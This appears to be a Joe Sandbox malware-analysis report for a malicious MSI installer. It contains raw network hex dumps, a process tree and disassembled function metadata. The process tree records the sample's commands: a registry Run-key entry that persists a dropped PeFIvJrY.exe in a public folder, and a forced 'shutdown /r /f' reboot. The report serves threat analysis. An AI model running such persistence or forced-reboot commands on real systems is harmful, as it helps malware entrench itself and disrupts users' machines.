2024-08-02 12:16:49 UTC	1369	IN	Data Raw: ca 34 2b 7c d1 8d 34 26 47 10 56 52 51 8b 64 fc bc 6b ff 2e 6a 33 c9 66 89 0c 06 8b c7 c2 5b c5 08 00 3d fe ee 7e 83 17 3a 7f 0f 87 a7 77 f0 83 ce 07 81 fe 21 76 07 be 1f f6 bb ef 0d eb 1e 8b cb b8 11 d1 e9 2b c1 3b d8 2b 08 8d 04 19 0b 7e 68 f8 3b f0 0f 42 f0 c6 01 a4 00 13 3c 76 f8 89 de c5 db ed 77 14 89 c4 89 4f 10 ec 09 56 ff 75 a5 eb ef 6f e0 ce e4 ee eb 33 30 8b 07 8d 1c 5d 02 da 81 85 2d f8 c3 fb 00 50 72 12 8b 48 2e c3 23 bc 3c c1 c7 8e 37 0e f8 1f 77 1c 7a 53 50 a7 61 3a 7c 2b f8 08 89 07 59 2e 81 ab 5d 2c bf fd c5 18 1f d8 8b 4e 14 83 f9 b4 2d 8b 06 8d 0c 4d a4 69 4e 2e f9 50 c1 c2 f1 8a 8b fc 21 8b c2 51 ae 4d 33 c0 d1 f0 2e 58 51 40 06 5e c3 bf df ff fd 8b 8f 76 3d 86 7f 77 43 03 c0 3d b3 23 8d 48 23 3b 4d a7 1d f1 c8 76 33 51 7f 8b c8 1e 5e Data Ascii: 4+\|4&GVRQdk.j3f[=~:w!v+;+~h;B<vwOVuo30]-PrH.#<7wzSPa:\|+Y.],N-MiN.P!QM3.XQ@^v=wC=#H#;Mv3Q^
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 23 34 fc ec 55 51 44 8b f0 89 75 54 f6 3a 51 42 b8 de 32 c0 49 d4 ef 7a e2 03 05 db 0f 9e 8d 4e 1e d3 ee 8c 1b 32 ec 7b 20 f4 74 1e ed 15 a8 b6 7f 07 36 ef 0c 89 37 89 5f 04 f0 ff 06 a0 b0 01 ce 03 3f 5c cc 28 08 40 08 83 6e b7 06 3c 02 38 68 40 a7 3f c8 94 0c c8 6c 70 78 77 11 96 0c 64 bf a3 48 ab c4 1e 96 0c 73 3f 1d e5 80 01 4f fc 08 e8 bc 3a 4b ec 50 10 b9 41 cd 29 23 3e c0 08 97 ac e2 0c 01 fc 42 38 80 59 25 8e d4 f4 fe 4a 10 bc bb 08 06 f1 62 35 8d 85 23 50 53 6a 06 6a d5 03 1c df 10 75 1b ea 74 4d 61 c8 0b 83 e0 7a e9 fc 76 b4 7b a6 96 10 81 40 1e cb 40 2b ca 45 06 53 c3 84 02 56 de 68 a1 57 69 0b 28 e4 a4 f8 52 a1 da 62 17 cf 08 15 15 95 4c 8d 67 d6 fc 57 8d 51 01 66 90 8a 01 41 84 f9 9c 75 03 c8 6c d9 bf 10 6e 11 80 79 ff 5c 74 0b 49 25 20 77 ef Data Ascii: #4UQDuT:QB2IzN2{ t67_?\(@n<8h@?lpxwdHs?O:KPA)#>B8Y%Jb5#PSjjutMazv{@@+ESVhWi(RbLgWQfAulny\tI% w
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 38 ab 08 df a7 76 09 ee 34 3c 5d 3c e9 2b a9 35 52 a9 f8 ac 50 14 fb 44 08 a3 54 0a 7f 86 80 03 be 00 c5 4e 0c e4 28 53 b5 8f 34 06 68 ac f8 58 5f 5c 52 da f7 07 1a 2c c7 46 6c c5 c6 10 70 df 62 00 8c 42 a9 9e b8 04 3f 6a ec a9 14 1f 59 bc a7 8b 41 6c 56 87 b0 e0 eb 8d 71 6c cc 59 ca 0c ba 96 d1 55 54 7e 00 50 8d 8d fc eb 17 f2 85 15 50 f7 24 f3 8e 1c 70 16 fb 2f 38 0f ff 07 d9 20 bc 21 72 8d 50 01 90 8a 08 40 84 c9 3a c2 f5 5c b3 05 be 40 50 33 50 91 06 8d 48 11 56 8d df 7e d8 5e 1b c0 23 c1 7f 1f 0b e0 00 47 8b 35 d9 19 74 25 7e 83 cb ff 8b 4f 6c 8e 2b 8b c3 ad 83 df 0a f0 77 6c ff d2 6d 57 c7 47 ef 7f 17 3f b0 0c eb 8b 47 64 68 24 5e 18 4b 75 0f 19 69 01 69 60 64 54 64 68 ab 0a 68 58 8d 47 98 07 cf 1a 2c 80 c9 74 57 1d 8f 30 18 54 41 39 12 17 60 b6 b8 Data Ascii: 8v4<]<+5RPDTN(S4hX_\R,FlpbB?jYAlVqlYUT~PP$p/8 !rP@:\@P3PHV~^#G5t%~Ol+wlmWG?Gdh$^Kuii`dTdhhXG,tW0TA9`
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 4d f8 22 8b 4f 28 28 3b c8 73 18 61 c3 03 0d 20 0c d8 29 5c 6a fc ed bb 8a 4c eb 39 50 52 8b d1 69 44 84 f6 05 5a 2a 13 f8 eb 0d 67 a9 3c ef 3d d8 89 6d f4 25 21 1c ee ef 8f e1 79 65 cf 8b c3 2b c6 1e 3b c7 73 36 c4 c3 25 34 d7 e5 45 d3 4a 47 f2 35 76 d2 70 14 e9 d8 53 08 be 82 74 e3 00 57 52 8b 21 f7 eb bc 01 fe 4f 05 bf 53 8b d9 56 89 5d f8 0f b7 43 f8 1f 0e 0f 7f 73 10 6b c0 2c 03 c6 ae 3b c8 84 74 3c 13 6f ff 41 da c6 24 57 0f 1f 40 f0 3e ff d0 57 75 a3 27 8e c1 06 b1 76 52 d8 b4 db fc fe 13 46 dc 3b c3 69 75 d6 f8 5f 98 5c 56 34 2b 12 86 5a 89 c2 04 10 f2 9a f5 24 63 3f 96 50 91 71 55 6b 21 35 f4 4d cf ac 8b ae 6c 4f 83 7e 04 bc 21 99 de 82 eb 8b 0e 8d d2 7a a7 19 e2 2b d6 43 9c 76 0c 35 06 ad 88 97 2e 15 d0 76 c8 10 74 30 f8 ff 7f 7f f9 8b f8 b8 cd Data Ascii: M"O((;sa )\jL9PRiDZ*g<=m%!ye+;s6%4EJG5vpStWR!OSV]Csk,;t<oA$W@>Wu'vRF;iu_\V4+Z$c?PqUk!5MlO~!z+Cv5.vt0
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 38 f0 e4 d4 89 10 8b cb 94 05 a2 2d 01 87 3b b6 29 cb 49 73 14 1f 53 d4 d4 c9 43 64 90 ec e8 ea d4 44 0f 44 43 66 17 f0 3b 30 14 1b 74 d8 39 a9 57 51 da 9c c8 ad 4e 28 4f 81 44 55 90 51 09 26 cc 56 94 fd c5 a3 50 05 53 4b 8b c7 eb 0b 13 ac 86 85 f1 d7 00 5b 43 51 44 56 11 1f 75 c6 c2 48 28 30 24 e0 9e 70 38 d4 33 f0 72 2b 0e c9 05 32 14 17 ec ec 06 a4 f2 62 0f cc 57 ba 34 1d 64 48 cf 3d 3e 05 48 a6 aa 18 09 7d e5 28 48 75 31 53 7b 18 28 58 58 62 04 48 55 a5 96 4b 04 18 45 09 e3 43 8a 0b a2 00 93 0c 37 1c 16 13 03 1f f0 5c f4 d0 20 c2 58 24 fc 94 3b 8b 37 00 1b 50 05 ec 5a 3f 69 db 4a a5 37 00 80 78 aa 74 21 10 04 7c 01 4e 58 75 14 de b0 08 75 0b 8b f0 ef 77 7b 2a 64 39 10 f0 eb 18 1c 0e 80 79 42 0e d9 d7 04 c3 66 90 92 40 c8 37 f4 b6 b6 13 76 bc b2 75 ae Data Ascii: 8-;)IsSCdDDCf;0t9WQN(ODUQ&VPSK[CQDVuH(0$p83r+2bW4dH=>H}(Hu1S{(XXbHUKEC7\ X$;7PZ?iJ7xt!\|NXuuw{*d9yBf@7vu
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: e5 78 85 94 c1 e9 02 50 22 53 00 56 ec 26 56 50 51 93 eb 15 d2 7d ce 75 89 b6 52 18 8d 73 10 1e d2 bf 9d 60 43 6a 30 6c 01 89 43 04 8b 10 8f 02 d8 ea 22 06 1a b2 43 91 34 ba 1d 80 f1 b8 30 93 57 42 b0 91 74 2a 16 4e 3e f5 1c df 4e bb 11 80 06 18 cc 28 bb 16 04 ab 28 89 18 a1 97 32 20 23 57 ec 84 85 47 ce 3b 86 43 53 6a a7 10 98 2c 89 18 27 f6 b1 a3 2e dc 3f a8 22 1e 41 b6 41 28 46 fc b8 b8 f8 02 c8 d8 74 3e 6c 33 16 27 12 1e 80 9d 3e 8b fe 68 4f 1a b5 88 3e 38 32 dc 57 b5 04 df d7 fe 00 07 40 81 83 c3 04 76 75 dd 64 a8 68 08 f4 1f 28 bd b0 92 09 41 1a 85 a0 12 9a 7c 3a 18 02 fc 08 07 1e ba 20 b0 50 44 50 02 9b d2 ce c6 54 38 ae 06 ae 22 2e 8d 45 e0 eb e0 57 84 6b 12 a9 4a 96 1c c5 aa 61 c7 ad 7f fa a0 0a 4d 70 13 60 02 ea d0 46 66 83 e2 02 4c 13 d2 40 ff Data Ascii: xP"SV&VPQ}uRs`Cj0lC"C40WBt*N>N((2 #WG;CSj,'.?"AA(Ft>l3'>hO>82W@vudh(A\|: PDPT8".EWkJaMp`FfL@
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 5d f8 f8 ab c3 62 56 74 20 56 c3 31 66 90 3b 7f af c8 a5 e2 04 a6 89 60 52 29 74 ed eb 00 31 3a eb 1a 8b 0a 59 0f 7e 36 6a 41 1a 3e d1 76 89 50 22 2e c1 d3 87 37 09 15 db be 62 70 a7 a3 e3 0b 8b 72 84 d1 b4 9e 29 9f 07 c7 c2 4a ee e6 4e 39 50 87 f3 f0 0d 39 0b 39 11 32 31 98 b0 eb 9b eb 1b 39 13 ea 81 f9 eb 19 e4 8b fe e9 05 f9 7a 25 0c e0 fa 8e 89 5e c1 95 86 e0 32 38 39 57 4c 38 5d be 33 d1 c0 50 92 50 1e c9 7d f8 8a 58 0c d3 83 1f 2f ec 54 da b6 8b d6 2d 0b 0a 7e b7 7d 82 a8 81 f5 4d 62 53 eb 5f c2 a6 8f 35 46 11 62 17 75 16 38 01 1c f4 d8 a9 59 dd 75 52 0c 38 d8 05 07 46 62 0e 5e 69 b1 0e 39 58 b1 50 43 04 39 18 7c 10 5a d8 cf 70 b2 1a 8a 5a 0c 54 fd 8a 69 ba bd 2b 92 88 42 0c cc 88 22 80 fb 01 f4 57 ae c2 0c d8 74 a2 e4 48 14 b6 2b ed c2 c0 d2 d9 2c Data Ascii: ]bVt V1f;`R)t1:Y~6jA>vP".7bpr)JN9P99219z%^289WL8]3PP}X/T-~}MbS_5Fbu8YuR8Fb^i9XPC9\|ZpZTi+B"WtH+,
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: c8 50 12 3c 0a 61 15 71 01 48 1c 11 05 6a 68 44 c3 d6 d8 82 40 04 dc 6f ff 42 ed cc 2b c1 e8 72 20 8d 41 02 83 fa 10 44 d8 ba 3a 20 15 b6 82 30 32 0f 43 06 86 14 02 c0 37 12 e6 08 02 00 eb 14 ec 14 44 d5 e8 14 ec 76 b0 18 15 1b 82 fb ac 77 2c 18 b2 d0 51 ce 80 4a 10 66 70 f9 83 d9 a5 f1 55 b0 83 7d 3e c0 7c 14 ca 96 7e 84 36 be 75 d8 fe e0 51 52 76 02 69 ab a6 25 36 dc 10 26 ca c1 0a 98 c2 fa 03 f0 56 27 e0 05 ef 5e bb ba c6 04 06 d2 0c aa 51 c6 c3 42 c4 88 88 66 07 2a 72 0e c8 42 95 a7 ec 25 8f cb 00 0f 10 78 f2 ce b4 4f fd d8 0f 11 4d 98 d2 a8 ec ac 17 01 76 34 c0 7e c8 0f 07 83 8a 05 75 10 02 04 ea d8 3c 9c 18 5a 91 60 12 92 e4 2f c0 b3 15 94 c8 0e 89 4d e8 57 55 ac 05 0c 94 1e c5 07 21 8c 92 21 66 61 98 42 8d 43 8a 77 57 6a 4b 96 8b 53 0c 75 f8 38 89 Data Ascii: P<aqHjhD@oB+r AD: 02C7Dvw,QJfpU}>\|~6uQRvi%6&V'^QBf*rB%xOMv4~u<Z`/MWU!!faBCwWjKSu8

Target ID:	0
Start time:	08:16:38
Start date:	02/08/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\9rybs.msi"
Imagebase:	0x7ff775930000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:16:39
Start date:	02/08/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff775930000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:16:39
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD
Imagebase:	0xc0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:16:53
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:16:53
Start date:	02/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:16:53
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Imagebase:	0x810000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:16:53
Start date:	02/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:16:55
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15
Imagebase:	0x410000
File size:	23'552 bytes
MD5 hash:	FCDE5AF99B82AE6137FB90C7571D40C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:16:55
Start date:	02/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:17:05
Start date:	02/08/2024
Path:	C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Imagebase:	0x3e0000
File size:	358'000 bytes
MD5 hash:	65CD1FFDB524F091FC06884DCB1270F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:17:14
Start date:	02/08/2024
Path:	C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Imagebase:	0x3e0000
File size:	358'000 bytes
MD5 hash:	65CD1FFDB524F091FC06884DCB1270F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	12.3%
Signature Coverage:	8.4%
Total number of Nodes:	1362
Total number of Limit Nodes:	27

Executed Functions

Function 003F0140 Relevance: 46.9, APIs: 31, Instructions: 442
nativewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClientRect.USER32(?,?), ref: 003F01CC
IsWindow.USER32(000701F0), ref: 003F01FB
ShowWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,0043B4CD,000000FF), ref: 003F020D
DestroyWindow.USER32(000701F0,?,?,?,?,?,?,?,?,?,?,?,0043B4CD,000000FF), ref: 003F0223
PostQuitMessage.USER32(00000000), ref: 003F022B
NtdllDefWindowProc_W.NTDLL(?,00000084,?,000000FF,A05DD77D), ref: 003F023F
GetClientRect.USER32(?,?), ref: 003F0252
NtdllDefWindowProc_W.NTDLL(?,?,?,000000FF,A05DD77D), ref: 003F0295
GetClientRect.USER32(?,?), ref: 003F02C0
IsWindow.USER32 ref: 003F02E5
BringWindowToTop.USER32 ref: 003F02F9
__Mtx_unlock.LIBCPMT ref: 003F0304
SetWindowTextW.USER32(000000FF), ref: 003F0353
__Mtx_unlock.LIBCPMT ref: 003F03CA
IsWindow.USER32 ref: 003F03F4
SetForegroundWindow.USER32 ref: 003F0408
__Mtx_unlock.LIBCPMT ref: 003F0413
__Mtx_unlock.LIBCPMT ref: 003F04C8
IsWindow.USER32(000701F0), ref: 003F04FA
ShowWindow.USER32(00000006,?,?,?,?,?,?,?,?,?,?,?,?,?,0043B4CD), ref: 003F0510
UpdateWindow.USER32 ref: 003F0521
IsWindow.USER32(000701F0), ref: 003F0585
ShowWindow.USER32(00000009,?,?,?,?,?,?,?,?,?,?,?,?,?,0043B4CD), ref: 003F059B
UpdateWindow.USER32 ref: 003F05AC
__Mtx_unlock.LIBCPMT ref: 003F06FC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$Mtx_unlock$ClientRectShow$NtdllProc_Update$BringDestroyForegroundMessagePostQuitText
String ID:
API String ID: 4037737374-0
Opcode ID: b45d2054eea2168f667cd67b0ed08ba4388e1e1dea0faddbc84568d19ec4e164
Instruction ID: e99d5c86284d2033ef05c40c9caacdca6893b5f0676ebbcac790da8b543b561a
Opcode Fuzzy Hash: b45d2054eea2168f667cd67b0ed08ba4388e1e1dea0faddbc84568d19ec4e164
Instruction Fuzzy Hash: 9AE12775A00208EBDB1AAF68ED4DB7E3768FB45304F114535F601E6192EBB59C20CB7A

Function 003FF4F0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 234
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(A05DD77D,00000000,?), ref: 003FF540
GetModuleHandleW.KERNEL32(00000000), ref: 003FF551
NtCreateFile.NTDLL ref: 003FF6CE

Strings

`F, xrefs: 003FF78D
`F, xrefs: 003FF7B6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CreateCurrentFileHandleModuleProcess
String ID: `F$`F
API String ID: 1303309024-2864732840
Opcode ID: 256282baa7a855bbe776f1ec4a39bb9562cf49c93427d49c17792caf6df1670b
Instruction ID: f32b3d68b50dc6f3dd28dcb64ef6c9c98290b2723bf1be2deb32fdd557530ef3
Opcode Fuzzy Hash: 256282baa7a855bbe776f1ec4a39bb9562cf49c93427d49c17792caf6df1670b
Instruction Fuzzy Hash: 82A147B5D0020C9FDB11CFA4C985BEEBBF5AF09314F24812AE915AB390DB746948CF95

Function 06321DD8 Relevance: 2.3, Strings: 1, Instructions: 1083COMMON

Download Yara Rule

Strings

4, xrefs: 0632277D

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 153efcc03a3b06e051accb17469f40628ed248748e647a8de94472a7a7f2d82e
Instruction ID: 20df94e2eb4b55bc73b13d045ee95b5d3ae378f5f4db850c95ec14aac4bd6036
Opcode Fuzzy Hash: 153efcc03a3b06e051accb17469f40628ed248748e647a8de94472a7a7f2d82e
Instruction Fuzzy Hash: B5A2EA34A00219DFDB54CF98D994BADB7B6FB88700F158099E909AB355CB31EE46CF90

Function 06307D78 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 73f7d3991be512e6bbf92eca55bb1b35af76935ed473597548bbfae615f22e9d
Instruction ID: d35470a5d547eb0e4bf89ff1d425e66fe1a77119b5b1cbc6cf40cef9b7a99ccf
Opcode Fuzzy Hash: 73f7d3991be512e6bbf92eca55bb1b35af76935ed473597548bbfae615f22e9d
Instruction Fuzzy Hash: 7BF17B30E00609CFEF54DFA9C858BADBBF5BF88314F158558E405AB2A5DB74E949CB80

Function 06302E91 Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06303042

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f173772fa5465cfd57e506742a1a2a019452b6a48d01cc2e5594fa7e4c3229d4
Instruction ID: 3fbf761878604a27aed786f223ce4894bf1f5c7f74d4699280c84dde7afcf076
Opcode Fuzzy Hash: f173772fa5465cfd57e506742a1a2a019452b6a48d01cc2e5594fa7e4c3229d4
Instruction Fuzzy Hash: 0A6113B1C04249AFEF11CF99C884ACEBFB5FF48300F15816AE918AB261D771A955CF90

Function 063026D0 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b713b608cbc176d227dff2a3974ec02e87b6857e871a9e667890b10a75b210
Instruction ID: 93722a656ec2c2ee27564a9d9675c15c321be6e7ffd15986660f3e3f935899f8
Opcode Fuzzy Hash: 63b713b608cbc176d227dff2a3974ec02e87b6857e871a9e667890b10a75b210
Instruction Fuzzy Hash: F9B1FE70A007058FDB88EF79C894A6EBBF5FF88310B008529C45ADB380DB74E949CB94

Function 06300314 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d995c196f4d72e77b0d6e36b5ab74a63a88288fe928809e63e08b65475246c5
Instruction ID: c18b9b7f2e093878b5d88b9971e09ba63126bb5b344567e82983da20bdd92077
Opcode Fuzzy Hash: 5d995c196f4d72e77b0d6e36b5ab74a63a88288fe928809e63e08b65475246c5
Instruction Fuzzy Hash: D9A18235E1031A9FEB04DFA4D8949DDFBBAFF89310F158615E415AB2A0DB30E949CB90

Function 06303211 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbbf604a8101d54d731daab6285ece24edff54044f7e286842c4f2c6e70478ab
Instruction ID: 3bc47398cdd7423b976ec552e60a3bfdaef23b532844659af6d29ffa4ca4e27c
Opcode Fuzzy Hash: bbbf604a8101d54d731daab6285ece24edff54044f7e286842c4f2c6e70478ab
Instruction Fuzzy Hash: C691C435E1031A9FDB05DFA4D8549DDFBBBFF8A310F158215E415AB2A0DB30A949CBA0

Function 025B4EC9 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3846304760.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_25b0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d94f838d753422481ae37bd4871bbe53b820d5ff3e1dec86ebaa305a3bfebe8
Instruction ID: 7d7433680ecfda654dc653ec0f20b8780a38598607d5d6d81108f2dd96eaff31
Opcode Fuzzy Hash: 6d94f838d753422481ae37bd4871bbe53b820d5ff3e1dec86ebaa305a3bfebe8
Instruction Fuzzy Hash: B061BE74B01246CBE745CF3DF848706BBA2F7C4314F449AA5D4045B316EBB85C2ADB9A

Function 025B4ED8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3846304760.00000000025B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_25b0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02574e695b54a7aa9428223a2dbbdf1ffa5eb1b16dad72044cd20ca5977a2ad
Instruction ID: 21f3890b2d81e78ef4191407153f012ed2b9ead09f57ad0ea8719f2f16ed9a69
Opcode Fuzzy Hash: e02574e695b54a7aa9428223a2dbbdf1ffa5eb1b16dad72044cd20ca5977a2ad
Instruction Fuzzy Hash: 11616C74B01246CBE745CF3EF848706BBA2F7C4314F4495A5D4045B316EBB85C29DB9A

Function 003FD2A0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

